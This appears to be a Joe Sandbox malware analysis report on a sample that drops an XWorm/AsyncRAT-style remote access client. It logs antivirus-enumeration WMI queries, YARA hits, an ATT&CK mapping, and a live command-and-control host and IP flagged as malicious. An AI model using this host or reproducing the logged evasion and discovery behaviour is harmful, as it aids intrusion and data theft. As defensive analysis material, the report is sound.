Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\EntClientDb.edb VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\tmp.edb VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Resources\Fonts\SegMVR2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\Database\anonymous\edb.chk VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Windows\Fonts\segoeuib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState\SRPData.xml VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.ZuneMusic_8wekyb3d8bbwe\LocalState VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Windows\Fonts\segoeuil.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Music.UI.exe	Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\XClient.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: XClient.exe, 00000003.00000002.3626778140.000000001B47E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s Defender\MsMpeng.exe
Source: XClient.exe, 00000003.00000002.3626778140.000000001B440000.00000004.00000020.00020000.00000000.sdmp, XClient.exe, 00000003.00000002.3626778140.000000001B4D5000.00000004.00000020.00020000.00000000.sdmp, XClient.exe, 00000003.00000002.3626778140.000000001B47E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\XClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 3.0.XClient.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1208279408.0000000002E50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1156694138.0000000000192000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: test2.exe.bin.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XClient.exe PID: 7840, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\test, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\XClient.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 3.0.XClient.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1208279408.0000000002E50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1156694138.0000000000192000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: test2.exe.bin.exe PID: 7744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: XClient.exe PID: 7840, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\test, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\XClient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	11 Process Injection	21 Masquerading	OS Credential Dumping	231 Security Software Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
test2.exe.bin.exe	69%	Virustotal		Browse
test2.exe.bin.exe	81%	ReversingLabs	Win32.Ransomware.Generic
test2.exe.bin.exe	100%	Avira	TR/Crypt.ZPACK.Gen

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\test	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\XClient.exe	100%	Avira	TR/Spy.Gen
C:\Users\user\AppData\Local\Temp\XClient.exe	92%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
C:\Users\user\AppData\Local\Temp\test	92%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT

Source	Detection	Scanner	Label
Dyno15-41078.portmap.host	100%	Avira URL Cloud	malware
http://ns.adobe.om/	100%	Avira URL Cloud	malware
http://ns.aobe	0%	Avira URL Cloud	safe
http://ns.adoe.cf	0%	Avira URL Cloud	safe
https://settings-ssl.xboxlive.comPN	0%	Avira URL Cloud	safe
http://ns.adobeTy	0%	Avira URL Cloud	safe
http://ns.adob/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
e87.dspb.akamaiedge.net	92.123.20.9	true	false	high
Dyno15-41078.portmap.host	193.161.193.99	true	true	unknown
settings-ssl.xboxlive.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://settings-ssl.xboxlive.com/XBLWinClient/v10_music/configuration.xml	false		high
Dyno15-41078.portmap.host	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.1281166707.000000000609D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.windows.net	Music.UI.exe, 00000004.00000002.3634239371.000002CCD90F8000.00000004.00000020.00020000.00000000.sdmp, Music.UI.exe, 00000004.00000002.3638925659.000002CCD953C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://iptc.org/std1.	Music.UI.exe, 00000004.00000002.3629721021.000002CCD821B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000001.00000002.1270956390.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.adobe.om/	Music.UI.exe, 00000004.00000002.3629721021.000002CCD821B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000001.00000002.1270956390.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000001.00000002.1270956390.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000001.00000002.1270956390.000000000581C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1270956390.0000000005990000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xsts.auth.xboxlive.com	Music.UI.exe, 00000004.00000002.3634239371.000002CCD90F8000.00000004.00000020.00020000.00000000.sdmp, Music.UI.exe, 00000004.00000002.3638925659.000002CCD953C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000001.00000002.1281166707.000000000609D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000001.00000002.1281166707.000000000609D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xsts.auth.xboxlive.com/0	Music.UI.exe, 00000004.00000002.3634239371.000002CCD90F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000007.00000002.2862185954.000002CC6B400000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.7.dr	false		high
https://settings-ssl.xboxlive.com/	Music.UI.exe, 00000004.00000003.1477016183.000002CCD8C81000.00000004.00000020.00020000.00000000.sdmp, Music.UI.exe, 00000004.00000002.3633444451.000002CCD8C83000.00000004.00000020.00020000.00000000.sdmp	false		high
https://musicart.xboxlive.com/9/5c6a4700-0000-0000-0000-000000000002/504/image.jpg	Music.UI.exe, 00000004.00000002.3633566909.000002CCD8CDC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ns.aobe	Music.UI.exe, 00000004.00000002.3629721021.000002CCD821B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000001.00000002.1270956390.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.windows.local/	Music.UI.exe, 00000004.00000002.3638925659.000002CCD953C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.7.dr	false		high
https://login.windows.local	Music.UI.exe, 00000004.00000002.3638925659.000002CCD953C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/	Music.UI.exe, 00000004.00000002.3634239371.000002CCD90F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.7.dr	false		high
http://ns.adoe.cf	Music.UI.exe, 00000004.00000002.3629721021.000002CCD821B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000007.00000003.1209310248.000002CC6B342000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000001.00000002.1270956390.0000000005031000.00000004.00000800.00020000.00000000.sdmp	false		high
https://musicimage.xboxlive.comtXBLWinClient/v10_music/configuration.xml	Music.UI.exe, 00000004.00000003.1477016183.000002CCD8C81000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ns.adob/	Music.UI.exe, 00000004.00000002.3629721021.000002CCD821B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://settings-ssl.xboxlive.comPN	Music.UI.exe, 00000004.00000003.1477016183.000002CCD8C81000.00000004.00000020.00020000.00000000.sdmp, Music.UI.exe, 00000004.00000002.3633444451.000002CCD8C83000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1270956390.0000000005186000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000001.00000002.1281166707.000000000609D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1281166707.000000000609D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://musicart.xboxlive.com/9/e74d4600-0000-0000-0000-000000000002/504/image.jpg	Music.UI.exe, 00000004.00000002.3633566909.000002CCD8CDC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1270956390.0000000005031000.00000004.00000800.00020000.00000000.sdmp, XClient.exe, 00000003.00000002.3620480168.0000000002411000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.adobeTy	Music.UI.exe, 00000004.00000002.3629721021.000002CCD821B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000007.00000003.1209310248.000002CC6B342000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.7.dr, edb.log.7.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.161.193.99	Dyno15-41078.portmap.host	Russian Federation		198134	BITREE-ASRU	true
92.123.20.9	e87.dspb.akamaiedge.net	European Union		16625	AKAMAI-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1639881
Start date and time:	2025-03-16 13:05:56 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	test2.exe.bin.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@11/27@2/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 99% Number of executed functions: 80 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.199.214.10, 20.109.210.53
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Music.UI.exe, PID 7992 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7788 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

